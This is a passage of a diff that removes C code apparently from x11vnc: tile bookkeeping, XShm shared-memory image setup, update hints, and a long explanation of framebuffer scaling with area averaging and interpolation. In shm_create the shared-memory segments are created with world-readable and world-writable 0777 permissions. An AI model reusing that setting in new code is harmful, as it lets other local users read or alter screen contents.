- calloc((size_t) (ntiles * sizeof(unsigned char)), 1);
- tile_has_xdamage_diff = (unsigned char *)
- calloc((size_t) (ntiles * sizeof(unsigned char)), 1);
- tile_row_has_xdamage_diff = (unsigned char *)
- calloc((size_t) (ntiles_y * sizeof(unsigned char)), 1);
- tile_tried = (unsigned char *)
- calloc((size_t) (ntiles * sizeof(unsigned char)), 1);
- tile_copied = (unsigned char *)
- calloc((size_t) (ntiles * sizeof(unsigned char)), 1);
- tile_blackout = (tile_blackout_t *)
- calloc((size_t) (ntiles * sizeof(tile_blackout_t)), 1);
- tile_region = (region_t *) calloc((size_t) (ntiles * sizeof(region_t)), 1);
-
- tile_row = (XImage **)
- calloc((size_t) ((ntiles_x + 1) * sizeof(XImage *)), 1);
- tile_row_shm = (XShmSegmentInfo *)
- calloc((size_t) ((ntiles_x + 1) * sizeof(XShmSegmentInfo)), 1);
-
- /* there will never be more hints than tiles: */
- hint_list = (hint_t *) calloc((size_t) (ntiles * sizeof(hint_t)), 1);
-}
-
-void free_tiles(void) {
- if (tile_has_diff) {
- free(tile_has_diff);
- tile_has_diff = NULL;
- }
- if (tile_has_xdamage_diff) {
- free(tile_has_xdamage_diff);
- tile_has_xdamage_diff = NULL;
- }
- if (tile_row_has_xdamage_diff) {
- free(tile_row_has_xdamage_diff);
- tile_row_has_xdamage_diff = NULL;
- }
- if (tile_tried) {
- free(tile_tried);
- tile_tried = NULL;
- }
- if (tile_copied) {
- free(tile_copied);
- tile_copied = NULL;
- }
- if (tile_blackout) {
- free(tile_blackout);
- tile_blackout = NULL;
- }
- if (tile_region) {
- free(tile_region);
- tile_region = NULL;
- }
- if (tile_row) {
- free(tile_row);
- tile_row = NULL;
- }
- if (tile_row_shm) {
- free(tile_row_shm);
- tile_row_shm = NULL;
- }
- if (hint_list) {
- free(hint_list);
- hint_list = NULL;
- }
-}
-
-/*
- * silly function to factor dpy_y until fullscreen shm is not bigger than max.
- * should always work unless dpy_y is a large prime or something... under
- * failure fs_factor remains 0 and no fullscreen updates will be tried.
- */
-static int fs_factor = 0;
-
-static void set_fs_factor(int max) {
- int f, fac = 1, n = dpy_y;
-
- fs_factor = 0;
- if ((bpp/8) * dpy_x * dpy_y <= max) {
- fs_factor = 1;
- return;
- }
- for (f=2; f <= 101; f++) {
- while (n % f == 0) {
- n = n / f;
- fac = fac * f;
- if ( (bpp/8) * dpy_x * (dpy_y/fac) <= max ) {
- fs_factor = fac;
- return;
- }
- }
- }
-}
-
-static char *flip_ximage_byte_order(XImage *xim) {
- char *order;
- if (xim->byte_order == LSBFirst) {
- order = "MSBFirst";
- xim->byte_order = MSBFirst;
- xim->bitmap_bit_order = MSBFirst;
- } else {
- order = "LSBFirst";
- xim->byte_order = LSBFirst;
- xim->bitmap_bit_order = LSBFirst;
- }
- return order;
-}
-
-/*
- * set up an XShm image, or if not using shm just create the XImage.
- */
-static int shm_create(XShmSegmentInfo *shm, XImage **ximg_ptr, int w, int h,
- char *name) {
-
- XImage *xim;
- static int reported_flip = 0;
- int db = 0;
-
- shm->shmid = -1;
- shm->shmaddr = (char *) -1;
- *ximg_ptr = NULL;
-
- if (nofb) {
- return 1;
- }
-
- X_LOCK;
-
- if (! using_shm || xform24to32 || raw_fb) {
- /* we only need the XImage created */
- xim = XCreateImage_wr(dpy, default_visual, depth, ZPixmap,
- 0, NULL, w, h, raw_fb ? 32 : BitmapPad(dpy), 0);
-
- X_UNLOCK;
-
- if (xim == NULL) {
- rfbErr("XCreateImage(%s) failed.\n", name);
- if (quiet) {
- fprintf(stderr, "XCreateImage(%s) failed.\n",
- name);
- }
- return 0;
- }
- if (db) fprintf(stderr, "shm_create simple %d %d\t%p %s\n", w, h, (void *)xim, name);
- xim->data = (char *) malloc(xim->bytes_per_line * xim->height);
- if (xim->data == NULL) {
- rfbErr("XCreateImage(%s) data malloc failed.\n", name);
- if (quiet) {
- fprintf(stderr, "XCreateImage(%s) data malloc"
- " failed.\n", name);
- }
- return 0;
- }
- if (flip_byte_order) {
- char *order = flip_ximage_byte_order(xim);
- if (! reported_flip && ! quiet) {
- rfbLog("Changing XImage byte order"
- " to %s\n", order);
- reported_flip = 1;
- }
- }
-
- *ximg_ptr = xim;
- return 1;
- }
-
- if (! dpy) {
- X_UNLOCK;
- return 0;
- }
-
- xim = XShmCreateImage_wr(dpy, default_visual, depth, ZPixmap, NULL,
- shm, w, h);
-
- if (xim == NULL) {
- rfbErr("XShmCreateImage(%s) failed.\n", name);
- if (quiet) {
- fprintf(stderr, "XShmCreateImage(%s) failed.\n", name);
- }
- X_UNLOCK;
- return 0;
- }
-
- *ximg_ptr = xim;
-
-#if LIBVNCSERVER_HAVE_XSHM
- shm->shmid = shmget(IPC_PRIVATE,
- xim->bytes_per_line * xim->height, IPC_CREAT | 0777);
-
- if (shm->shmid == -1) {
- rfbErr("shmget(%s) failed.\n", name);
- rfbLogPerror("shmget");
-
- XDestroyImage(xim);
- *ximg_ptr = NULL;
-
- X_UNLOCK;
- return 0;
- }
-
- shm->shmaddr = xim->data = (char *) shmat(shm->shmid, 0, 0);
-
- if (shm->shmaddr == (char *)-1) {
- rfbErr("shmat(%s) failed.\n", name);
- rfbLogPerror("shmat");
-
- XDestroyImage(xim);
- *ximg_ptr = NULL;
-
- shmctl(shm->shmid, IPC_RMID, 0);
- shm->shmid = -1;
-
- X_UNLOCK;
- return 0;
- }
-
- shm->readOnly = False;
-
- if (! XShmAttach_wr(dpy, shm)) {
- rfbErr("XShmAttach(%s) failed.\n", name);
- XDestroyImage(xim);
- *ximg_ptr = NULL;
-
- shmdt(shm->shmaddr);
- shm->shmaddr = (char *) -1;
-
- shmctl(shm->shmid, IPC_RMID, 0);
- shm->shmid = -1;
-
- X_UNLOCK;
- return 0;
- }
-#endif
-
- X_UNLOCK;
- return 1;
-}
-
-void shm_delete(XShmSegmentInfo *shm) {
-#if LIBVNCSERVER_HAVE_XSHM
- if (getenv("X11VNC_SHM_DEBUG")) fprintf(stderr, "shm_delete: %p\n", (void *) shm);
- if (shm != NULL && shm->shmaddr != (char *) -1) {
- shmdt(shm->shmaddr);
- }
- if (shm != NULL && shm->shmid != -1) {
- shmctl(shm->shmid, IPC_RMID, 0);
- }
- if (shm != NULL) {
- shm->shmaddr = (char *) -1;
- shm->shmid = -1;
- }
-#else
- if (!shm) {}
-#endif
-}
-
-void shm_clean(XShmSegmentInfo *shm, XImage *xim) {
- int db = 0;
-
- if (db) fprintf(stderr, "shm_clean: called: %p\n", (void *)xim);
- X_LOCK;
-#if LIBVNCSERVER_HAVE_XSHM
- if (shm != NULL && shm->shmid != -1 && dpy) {
- if (db) fprintf(stderr, "shm_clean: XShmDetach_wr\n");
- XShmDetach_wr(dpy, shm);
- }
-#endif
- if (xim != NULL) {
- if (! raw_fb_back_to_X) { /* raw_fb hack */
- if (xim->bitmap_unit != -1) {
- if (db) fprintf(stderr, "shm_clean: XDestroyImage %p\n", (void *)xim);
- XDestroyImage(xim);
- } else {
- if (xim->data) {
- if (db) fprintf(stderr, "shm_clean: free xim->data %p %p\n", (void *)xim, (void *)(xim->data));
- free(xim->data);
- xim->data = NULL;
- }
- }
- }
- xim = NULL;
- }
- X_UNLOCK;
-
- shm_delete(shm);
-}
-
-void initialize_polling_images(void) {
- int i, MB = 1024 * 1024;
-
- /* set all shm areas to "none" before trying to create any */
- scanline_shm.shmid = -1;
- scanline_shm.shmaddr = (char *) -1;
- scanline = NULL;
- fullscreen_shm.shmid = -1;
- fullscreen_shm.shmaddr = (char *) -1;
- fullscreen = NULL;
- snaprect_shm.shmid = -1;
- snaprect_shm.shmaddr = (char *) -1;
- snaprect = NULL;
- for (i=1; i<=ntiles_x; i++) {
- tile_row_shm[i].shmid = -1;
- tile_row_shm[i].shmaddr = (char *) -1;
- tile_row[i] = NULL;
- }
-
- /* the scanline (e.g. 1280x1) shared memory area image: */
-
- if (! shm_create(&scanline_shm, &scanline, dpy_x, 1, "scanline")) {
- clean_up_exit(1);
- }
-
- /*
- * the fullscreen (e.g. 1280x1024/fs_factor) shared memory area image:
- * (we cut down the size of the shm area to try avoid and shm segment
- * limits, e.g. the default 1MB on Solaris)
- */
- if (UT.sysname && strstr(UT.sysname, "Linux")) {
- set_fs_factor(10 * MB);
- } else {
- set_fs_factor(1 * MB);
- }
- if (fs_frac >= 1.0) {
- fs_frac = 1.1;
- fs_factor = 0;
- }
- if (! fs_factor) {
- rfbLog("warning: fullscreen updates are disabled.\n");
- } else {
- if (! shm_create(&fullscreen_shm, &fullscreen, dpy_x,
- dpy_y/fs_factor, "fullscreen")) {
- clean_up_exit(1);
- }
- }
- if (use_snapfb) {
- if (! fs_factor) {
- rfbLog("warning: disabling -snapfb mode.\n");
- use_snapfb = 0;
- } else if (! shm_create(&snaprect_shm, &snaprect, dpy_x,
- dpy_y/fs_factor, "snaprect")) {
- clean_up_exit(1);
- }
- }
-
- /*
- * for copy_tiles we need a lot of shared memory areas, one for
- * each possible run length of changed tiles. 32 for 1024x768
- * and 40 for 1280x1024, etc.
- */
-
- tile_shm_count = 0;
- for (i=1; i<=ntiles_x; i++) {
- if (! shm_create(&tile_row_shm[i], &tile_row[i], tile_x * i,
- tile_y, "tile_row")) {
- if (i == 1) {
- clean_up_exit(1);
- }
- rfbLog("shm: Error creating shared memory tile-row for"
- " len=%d,\n", i);
- rfbLog("shm: reverting to -onetile mode. If this"
- " problem persists\n");
- rfbLog("shm: try using the -onetile or -noshm options"
- " to limit\n");
- rfbLog("shm: shared memory usage, or run ipcrm(1)"
- " to manually\n");
- rfbLog("shm: delete unattached shm segments.\n");
- single_copytile_count = i;
- single_copytile = 1;
- }
- tile_shm_count++;
- if (single_copytile && i >= 1) {
- /* only need 1x1 tiles */
- break;
- }
- }
- if (verbose) {
- if (using_shm && ! xform24to32) {
- rfbLog("created %d tile_row shm polling images.\n",
- tile_shm_count);
- } else {
- rfbLog("created %d tile_row polling images.\n",
- tile_shm_count);
- }
- }
-}
-
-/*
- * A hint is a rectangular region built from 1 or more adjacent tiles
- * glued together. Ultimately, this information in a single hint is sent
- * to libvncserver rather than sending each tile separately.
- */
-static void create_tile_hint(int x, int y, int tw, int th, hint_t *hint) {
- int w = dpy_x - x;
- int h = dpy_y - y;
-
- if (w > tw) {
- w = tw;
- }
- if (h > th) {
- h = th;
- }
-
- hint->x = x;
- hint->y = y;
- hint->w = w;
- hint->h = h;
-}
-
-static void extend_tile_hint(int x, int y, int tw, int th, hint_t *hint) {
- int w = dpy_x - x;
- int h = dpy_y - y;
-
- if (w > tw) {
- w = tw;
- }
- if (h > th) {
- h = th;
- }
-
- if (hint->x > x) { /* extend to the left */
- hint->w += hint->x - x;
- hint->x = x;
- }
- if (hint->y > y) { /* extend upward */
- hint->h += hint->y - y;
- hint->y = y;
- }
-
- if (hint->x + hint->w < x + w) { /* extend to the right */
- hint->w = x + w - hint->x;
- }
- if (hint->y + hint->h < y + h) { /* extend downward */
- hint->h = y + h - hint->y;
- }
-}
-
-static void save_hint(hint_t hint, int loc) {
- /* simply copy it to the global array for later use. */
- hint_list[loc].x = hint.x;
- hint_list[loc].y = hint.y;
- hint_list[loc].w = hint.w;
- hint_list[loc].h = hint.h;
-}
-
-/*
- * Glue together horizontal "runs" of adjacent changed tiles into one big
- * rectangle change "hint" to be passed to the vnc machinery.
- */
-static void hint_updates(void) {
- hint_t hint;
- int x, y, i, n, ty, th, tx, tw;
- int hint_count = 0, in_run = 0;
-
- hint.x = hint.y = hint.w = hint.h = 0;
-
- for (y=0; y < ntiles_y; y++) {
- for (x=0; x < ntiles_x; x++) {
- n = x + y * ntiles_x;
-
- if (tile_has_diff[n]) {
- ty = tile_region[n].first_line;
- th = tile_region[n].last_line - ty + 1;
-
- tx = tile_region[n].first_x;
- tw = tile_region[n].last_x - tx + 1;
- if (tx < 0) {
- tx = 0;
- tw = tile_x;
- }
-
- if (! in_run) {
- create_tile_hint( x * tile_x + tx,
- y * tile_y + ty, tw, th, &hint);
- in_run = 1;
- } else {
- extend_tile_hint( x * tile_x + tx,
- y * tile_y + ty, tw, th, &hint);
- }
- } else {
- if (in_run) {
- /* end of a row run of altered tiles: */
- save_hint(hint, hint_count++);
- in_run = 0;
- }
- }
- }
- if (in_run) { /* save the last row run */
- save_hint(hint, hint_count++);
- in_run = 0;
- }
- }
-
- for (i=0; i < hint_count; i++) {
- /* pass update info to vnc: */
- mark_hint(hint_list[i]);
- }
-}
-
-/*
- * kludge, simple ceil+floor for non-negative doubles:
- */
-#define CEIL(x) ( (double) ((int) (x)) == (x) ? \
- (double) ((int) (x)) : (double) ((int) (x) + 1) )
-#define FLOOR(x) ( (double) ((int) (x)) )
-
-/*
- * Scaling:
- *
- * For shrinking, a destination (scaled) pixel will correspond to more
- * than one source (i.e. main fb) pixel. Think of an x-y plane made with
- * graph paper. Each unit square in the graph paper (i.e. collection of
- * points (x,y) such that N < x < N+1 and M < y < M+1, N and M integers)
- * corresponds to one pixel in the unscaled fb. There is a solid
- * color filling the inside of such a square. A scaled pixel has width
- * 1/scale_fac, e.g. for "-scale 3/4" the width of the scaled pixel
- * is 1.333. The area of this scaled pixel is 1.333 * 1.333 (so it
- * obviously overlaps more than one source pixel, each which have area 1).
- *
- * We take the weight an unscaled pixel (source) contributes to a
- * scaled pixel (destination) as simply proportional to the overlap area
- * between the two pixels. One can then think of the value of the scaled
- * pixel as an integral over the portion of the graph paper it covers.
- * The thing being integrated is the color value of the unscaled source.
- * That color value is constant over a graph paper square (source pixel),
- * and changes discontinuously from one unit square to the next.
- *
-
-Here is an example for -scale 3/4, the solid lines are the source pixels
-(graph paper unit squares), while the dotted lines denote the scaled
-pixels (destination pixels):
-
- 0 1 4/3 2 8/3 3 4=12/3
- |---------|--.------|------.--|---------|.
- | | . | . | |.
- | A | . B | . | |.
- | | . | . | |.
- | | . | . | |.
- 1 |---------|--.------|------.--|---------|.
- 4/3|.........|.........|.........|.........|.
- | | . | . | |.
- | C | . D | . | |.
- | | . | . | |.
- 2 |---------|--.------|------.--|---------|.
- | | . | . | |.
- | | . | . | |.
- 8/3|.........|.........|.........|.........|.
- | | . | . | |.
- 3 |---------|--.------|------.--|---------|.
-
-So we see the first scaled pixel (0 < x < 4/3 and 0 < y < 4/3) mostly
-overlaps with unscaled source pixel "A". The integration (averaging)
-weights for this scaled pixel are:
-
- A 1
- B 1/3
- C 1/3
- D 1/9
-
- *
- * The Red, Green, and Blue color values must be averaged over separately
- * otherwise you can get a complete mess (except in solid regions),
- * because high order bits are averaged differently from the low order bits.
- *
- * So the algorithm is roughly:
- *
- * - Given as input a rectangle in the unscaled source fb with changes,
- * find the rectangle of pixels this affects in the scaled destination fb.
- *
- * - For each of the affected scaled (dest) pixels, determine all of the
- * unscaled (source) pixels it overlaps with.
- *
- * - Average those unscaled source values together, weighted by the area
- * overlap with the destination pixel. Average R, G, B separately.
- *
- * - Take this average value and convert to a valid pixel value if
- * necessary (e.g. rounding, shifting), and then insert it into the
- * destination framebuffer as the pixel value.
- *
- * - On to the next destination pixel...
- *
- * ========================================================================
- *
- * For expanding, e.g. -scale 1.1 (which we don't think people will do
- * very often... or at least so we hope, the framebuffer can become huge)
- * the situation is reversed and the destination pixel is smaller than a
- * "graph paper" unit square (source pixel). Some destination pixels
- * will be completely within a single unscaled source pixel.
- *
- * What we do here is a simple 4 point interpolation scheme:
- *
- * Let P00 be the source pixel closest to the destination pixel but with
- * x and y values less than or equal to those of the destination pixel.
- * (for simplicity, think of the upper left corner of a pixel defining the
- * x,y location of the pixel, the center would work just as well). So it
- * is the source pixel immediately to the upper left of the destination
- * pixel. Let P10 be the source pixel one to the right of P00. Let P01
- * be one down from P00. And let P11 be one down and one to the right
- * of P00. They form a 2x2 square we will interpolate inside of.
- *
- * Let V00, V10, V01, and V11 be the color values of those 4 source
- * pixels. Let dx be the displacement along x the destination pixel is
- * from P00. Note: 0 <= dx < 1 by definition of P00. Similarly let
- * dy be the displacement along y. The weighted average for the
- * interpolation is:
- *
- * V_ave = V00 * (1 - dx) * (1 - dy)
- * + V10 * dx * (1 - dy)
- * + V01 * (1 - dx) * dy
- * + V11 * dx * dy
- *
- * Note that the weights (1-dx)*(1-dy) + dx*(1-dy) + (1-dx)*dy + dx*dy
- * automatically add up to 1. It is also nice that all the weights are
- * positive (unsigned char stays unsigned char). The above formula can
- * be motivated by doing two 1D interpolations along x:
- *
- * VA = V00 * (1 - dx) + V10 * dx
- * VB = V01 * (1 - dx) + V11 * dx
- *
- * and then interpolating VA and VB along y:
- *
- * V_ave = VA * (1 - dy) + VB * dy
- *
- * VA
- * v |<-dx->|
- * -- V00 ------ V10
- * dy | |
- * -- | o...|... "o" denotes the position of the desired
- * ^ | . | . destination pixel relative to the P00
- * | . | . source pixel.
- * V10 ----.- V11 .
- * ........
- * |
- * VB
- *
- *
- * Of course R, G, B averages are done separately as in the shrinking
- * case. This gives reasonable results, and the implementation for
- * shrinking can simply be used with different choices for weights for
- * the loop over the 4 pixels.
- */
-
-void scale_rect(double factor_x, double factor_y, int blend, int interpolate, int Bpp,
- char *src_fb, int src_bytes_per_line, char *dst_fb, int dst_bytes_per_line,
- int Nx, int Ny, int nx, int ny, int X1, int Y1, int X2, int Y2, int mark) {
-/*
- * Notation:
- * "i" an x pixel index in the destination (scaled) framebuffer
- * "j" a y pixel index in the destination (scaled) framebuffer
- * "I" an x pixel index in the source (un-scaled, i.e. main) framebuffer
- * "J" a y pixel index in the source (un-scaled, i.e. main) framebuffer
- *
- * Similarly for nx, ny, Nx, Ny, etc. Lowercase: dest, Uppercase: source.
- */
- int i, j, i1, i2, j1, j2; /* indices for scaled fb (dest) */
- int I, J, I1, I2, J1, J2; /* indices for main fb (source) */
-
- double w, wx, wy, wtot; /* pixel weights */
-
- double x1, y1, x2, y2; /* x-y coords for destination pixels edges */
- double dx, dy; /* size of destination pixel */
- double ddx=0, ddy=0; /* for interpolation expansion */
-
- char *src, *dest; /* pointers to the two framebuffers */
-
-
- unsigned short us = 0;
- unsigned char uc = 0;
- unsigned int ui = 0;
-
- int use_noblend_shortcut = 1;
- int shrink; /* whether shrinking or expanding */
- static int constant_weights = -1, mag_int = -1;
- static int last_Nx = -1, last_Ny = -1, cnt = 0;
- static double last_factor = -1.0;
- int b, k;
- double pixave[4]; /* for averaging pixel values */
-
- if (factor_x <= 1.0 && factor_y <= 1.0) {
- shrink = 1;
- } else {
- shrink = 0;
- }
-
- /*
- * N.B. width and height (real numbers) of a scaled pixel.
- * both are > 1 (e.g. 1.333 for -scale 3/4)
- * they should also be equal but we don't assume it.
- *
- * This new way is probably the best we can do, take the inverse
- * of the scaling factor to double precision.
- */
- dx = 1.0/factor_x;
- dy = 1.0/factor_y;
-
- /*
- * There is some speedup if the pixel weights are constant, so
- * let's special case these.
- *
- * If scale = 1/n and n divides Nx and Ny, the pixel weights
- * are constant (e.g. 1/2 => equal on 2x2 square).
- */
- if (factor_x != last_factor || Nx != last_Nx || Ny != last_Ny) {
- constant_weights = -1;
- mag_int = -1;
- last_Nx = Nx;
- last_Ny = Ny;
- last_factor = factor_x;
- }
- if (constant_weights < 0 && factor_x != factor_y) {
- constant_weights = 0;
- mag_int = 0;
-
- } else if (constant_weights < 0) {
- int n = 0;
-
- constant_weights = 0;
- mag_int = 0;
-
- for (i = 2; i<=128; i++) {
- double test = ((double) 1)/ i;
- double diff, eps = 1.0e-7;
- diff = factor_x - test;
- if (-eps < diff && diff < eps) {
- n = i;
- break;
- }
- }
- if (! blend || ! shrink || interpolate) {
- ;
- } else if (n != 0) {
- if (Nx % n == 0 && Ny % n == 0) {
- static int didmsg = 0;
- if (mark && ! didmsg) {
- didmsg = 1;
- rfbLog("scale_and_mark_rect: using "
- "constant pixel weight speedup "
- "for 1/%d\n", n);
- }
- constant_weights = 1;
- }
- }
-
- n = 0;
- for (i = 2; i<=32; i++) {
- double test = (double) i;
- double diff, eps = 1.0e-7;
- diff = factor_x - test;
- if (-eps < diff && diff < eps) {
- n = i;
- break;
- }
- }
- if (! blend && factor_x > 1.0 && n) {
- mag_int = n;
- }
- }
-
- if (mark && factor_x > 1.0 && blend) {
- /*
- * kludge: correct for interpolating blurring leaking
- * up or left 1 destination pixel.
- */
- if (X1 > 0) X1--;
- if (Y1 > 0) Y1--;
- }
-
- /*
- * find the extent of the change the input rectangle induces in
- * the scaled framebuffer.
- */
-
- /* Left edges: find largest i such that i * dx <= X1 */
- i1 = FLOOR(X1/dx);
-
- /* Right edges: find smallest i such that (i+1) * dx >= X2+1 */
- i2 = CEIL( (X2+1)/dx ) - 1;
-
- /* To be safe, correct any overflows: */
- i1 = nfix(i1, nx);
- i2 = nfix(i2, nx) + 1; /* add 1 to make a rectangle upper boundary */
-
- /* Repeat above for y direction: */
- j1 = FLOOR(Y1/dy);
- j2 = CEIL( (Y2+1)/dy ) - 1;
-
- j1 = nfix(j1, ny);
- j2 = nfix(j2, ny) + 1;
-
- /*
- * special case integer magnification with no blending.
- * vision impaired magnification usage is interested in this case.
- */
- if (mark && ! blend && mag_int && Bpp != 3) {
- int jmin, jmax, imin, imax;
-
- /* outer loop over *source* pixels */
- for (J=Y1; J < Y2; J++) {
- jmin = J * mag_int;
- jmax = jmin + mag_int;
- for (I=X1; I < X2; I++) {
- /* extract value */
- src = src_fb + J*src_bytes_per_line + I*Bpp;
- if (Bpp == 4) {
- ui = *((unsigned int *)src);
- } else if (Bpp == 2) {
- us = *((unsigned short *)src);
- } else if (Bpp == 1) {
- uc = *((unsigned char *)src);
- }
- imin = I * mag_int;
- imax = imin + mag_int;
- /* inner loop over *dest* pixels */
- for (j=jmin; j<jmax; j++) {
- dest = dst_fb + j*dst_bytes_per_line + imin*Bpp;
- for (i=imin; i<imax; i++) {
- if (Bpp == 4) {
- *((unsigned int *)dest) = ui;
- } else if (Bpp == 2) {
- *((unsigned short *)dest) = us;
- } else if (Bpp == 1) {
- *((unsigned char *)dest) = uc;
- }
- dest += Bpp;
- }
- }
- }
- }
- goto markit;
- }
-
- /* set these all to 1.0 to begin with */
- wx = 1.0;
- wy = 1.0;
- w = 1.0;
-
- /*
- * Loop over destination pixels in scaled fb:
- */
- for (j=j1; j<j2; j++) {
- y1 = j * dy; /* top edge */
- if (y1 > Ny - 1) {
- /* can go over with dy = 1/scale_fac */
- y1 = Ny - 1;
- }
- y2 = y1 + dy; /* bottom edge */
-
- /* Find main fb indices covered by this dest pixel: */
- J1 = (int) FLOOR(y1);
- J1 = nfix(J1, Ny);
-
- if (shrink && ! interpolate) {
- J2 = (int) CEIL(y2) - 1;
- J2 = nfix(J2, Ny);
- } else {
- J2 = J1 + 1; /* simple interpolation */
- ddy = y1 - J1;
- }
-
- /* destination char* pointer: */
- dest = dst_fb + j*dst_bytes_per_line + i1*Bpp;
-
- for (i=i1; i<i2; i++) {
-
- x1 = i * dx; /* left edge */
- if (x1 > Nx - 1) {
- /* can go over with dx = 1/scale_fac */
- x1 = Nx - 1;
- }
- x2 = x1 + dx; /* right edge */
-
- cnt++;
-
- /* Find main fb indices covered by this dest pixel: */
- I1 = (int) FLOOR(x1);
- if (I1 >= Nx) I1 = Nx - 1;
-
- if (! blend && use_noblend_shortcut) {
- /*
- * The noblend case involves no weights,
- * and 1 pixel, so just copy the value
- * directly.
- */
- src = src_fb + J1*src_bytes_per_line + I1*Bpp;
- if (Bpp == 4) {
- *((unsigned int *)dest)
- = *((unsigned int *)src);
- } else if (Bpp == 2) {
- *((unsigned short *)dest)
- = *((unsigned short *)src);
- } else if (Bpp == 1) {
- *(dest) = *(src);
- } else if (Bpp == 3) {
- /* rare case */
- for (k=0; k<=2; k++) {
- *(dest+k) = *(src+k);
- }
- }
- dest += Bpp;
- continue;
- }
-
- if (shrink && ! interpolate) {
- I2 = (int) CEIL(x2) - 1;
- if (I2 >= Nx) I2 = Nx - 1;
- } else {
- I2 = I1 + 1; /* simple interpolation */
- ddx = x1 - I1;
- }
-
- /* Zero out accumulators for next pixel average: */
- for (b=0; b<4; b++) {
- pixave[b] = 0.0; /* for RGB weighted sums */
- }
-
- /*
- * wtot is for accumulating the total weight.
- * It should always sum to 1/(scale_fac * scale_fac).
- */
- wtot = 0.0;
-
- /*
- * Loop over source pixels covered by this dest pixel.
- *
- * These "extra" loops over "J" and "I" make
- * the cache/cacheline performance unclear.
- * For example, will the data brought in from
- * src for j, i, and J=0 still be in the cache
- * after the J > 0 data have been accessed and
- * we are at j, i+1, J=0? The stride in J is
- * main_bytes_per_line, and so ~4 KB.
- *
- * Typical case when shrinking are 2x2 loop, so
- * just two lines to worry about.
- */
- for (J=J1; J<=J2; J++) {
- /* see comments for I, x1, x2, etc. below */
- if (constant_weights) {
- ;
- } else if (! blend) {
- if (J != J1) {
- continue;
- }
- wy = 1.0;
-
- /* interpolation scheme: */
- } else if (! shrink || interpolate) {
- if (J >= Ny) {
- continue;
- } else if (J == J1) {
- wy = 1.0 - ddy;
- } else if (J != J1) {
- wy = ddy;
- }
-
- /* integration scheme: */
- } else if (J < y1) {
- wy = J+1 - y1;
- } else if (J+1 > y2) {
- wy = y2 - J;
- } else {
- wy = 1.0;
- }
-
- src = src_fb + J*src_bytes_per_line + I1*Bpp;
-
- for (I=I1; I<=I2; I++) {
-
- /* Work out the weight: */
-
- if (constant_weights) {
- ;
- } else if (! blend) {
- /*
- * Ugh, PseudoColor colormap is
- * bad news, to avoid random
- * colors just take the first
- * pixel. Or user may have
- * specified :nb to fraction.
- * The :fb will force blending
- * for this case.
- */
- if (I != I1) {
- continue;
- }
- wx = 1.0;
-
- /* interpolation scheme: */
- } else if (! shrink || interpolate) {
- if (I >= Nx) {
- continue; /* off edge */
- } else if (I == I1) {
- wx = 1.0 - ddx;
- } else if (I != I1) {
- wx = ddx;
- }
-
- /* integration scheme: */
- } else if (I < x1) {
- /*
- * source left edge (I) to the
- * left of dest left edge (x1):
- * fractional weight
- */
- wx = I+1 - x1;
- } else if (I+1 > x2) {
- /*
- * source right edge (I+1) to the
- * right of dest right edge (x2):
- * fractional weight
- */
- wx = x2 - I;
- } else {
- /*
- * source edges (I and I+1) completely
- * inside dest edges (x1 and x2):
- * full weight
- */
- wx = 1.0;
- }
-
- w = wx * wy;
- wtot += w;
-
- /*
- * We average the unsigned char value
- * instead of char value: otherwise
- * the minimum (char 0) is right next
- * to the maximum (char -1)! This way
- * they are spread between 0 and 255.
- */
- if (Bpp == 4) {
- /* unroll the loops, can give 20% */
- pixave[0] += w * ((unsigned char) *(src ));
- pixave[1] += w * ((unsigned char) *(src+1));
- pixave[2] += w * ((unsigned char) *(src+2));
- pixave[3] += w * ((unsigned char) *(src+3));
- } else if (Bpp == 2) {
- /*
- * 16bpp: trickier with green
- * split over two bytes, so we
- * use the masks:
- */
- us = *((unsigned short *) src);
- pixave[0] += w*(us & main_red_mask);
- pixave[1] += w*(us & main_green_mask);
- pixave[2] += w*(us & main_blue_mask);
- } else if (Bpp == 1) {
- pixave[0] += w *
- ((unsigned char) *(src));
- } else {
- for (b=0; b<Bpp; b++) {
- pixave[b] += w *
- ((unsigned char) *(src+b));
- }
- }
- src += Bpp;
- }
- }
-
- if (wtot <= 0.0) {
- wtot = 1.0;
- }
- wtot = 1.0/wtot; /* normalization factor */
-
- /* place weighted average pixel in the scaled fb: */
- if (Bpp == 4) {
- *(dest ) = (char) (wtot * pixave[0]);
- *(dest+1) = (char) (wtot * pixave[1]);
- *(dest+2) = (char) (wtot * pixave[2]);
- *(dest+3) = (char) (wtot * pixave[3]);
- } else if (Bpp == 2) {
- /* 16bpp / 565 case: */
- pixave[0] *= wtot;
- pixave[1] *= wtot;
- pixave[2] *= wtot;
- us = (main_red_mask & (int) pixave[0])
- | (main_green_mask & (int) pixave[1])
- | (main_blue_mask & (int) pixave[2]);
- *( (unsigned short *) dest ) = us;
- } else if (Bpp == 1) {
- *(dest) = (char) (wtot * pixave[0]);
- } else {
- for (b=0; b<Bpp; b++) {
- *(dest+b) = (char) (wtot * pixave[b]);
- }
- }
- dest += Bpp;
- }
- }
- markit:
- if (mark) {
- mark_rect_as_modified(i1, j1, i2, j2, 1);
- }
-}
-
-/*
- Framebuffers data flow:
-
- General case:
- -------- -------- -------- --------
- ----- |8to24_fb| |main_fb | |snap_fb | | X |
- |rfbfb| <== | | <== | | <== | | <== | Server |
- ----- -------- -------- -------- --------
- (to vnc) (optional) (usu = rfbfb) (optional) (read only)
-
- 8to24_fb mode will create side fbs: poll24_fb and poll8_fb for
- bookkeepping the different regions (merged into 8to24_fb).
-
- Normal case:
- -------- --------
- |main_fb | | X |
- |= rfb_fb| <== | Server |
- -------- --------
-
- Scaling case:
- -------- --------
- ----- |main_fb | | X |
- |rfbfb| <== | | <== | Server |
- ----- -------- --------
-
- Webcam/video case:
- -------- -------- --------
- |main_fb | |snap_fb | | Video |
- | | <== | | <== | device |
- -------- -------- --------
-
-If we ever do a -rr rotation/reflection tran, it probably should
-be done after any scaling (need a rr_fb for intermediate results)
-
--rr option: transformation:
-
- none x -> x;
- y -> y;
-
- x x -> w - x - 1;
- y -> y;
-
- y x -> x;
- x -> h - y - 1;
-
- xy x -> w - x - 1;
- y -> h - y - 1;
-
- +90 x -> h - y - 1;
- y -> x;
-
- +90x x -> y;
- y -> x;
-
- +90y x -> h - y - 1;
- y -> w - x - 1;
-
- -90 x -> y;
- y -> w - x - 1;
-
-some aliases:
-
- xy: yx, +180, -180, 180
- +90: 90
- +90x: 90x
- +90y: 90y
- -90: +270, 270
- */
-
-void scale_and_mark_rect(int X1, int Y1, int X2, int Y2, int mark) {
- char *dst_fb, *src_fb = main_fb;
- int dst_bpl, Bpp = bpp/8, fac = 1;
-
- if (!screen || !rfb_fb || !main_fb) {
- return;
- }
- if (! screen->serverFormat.trueColour) {
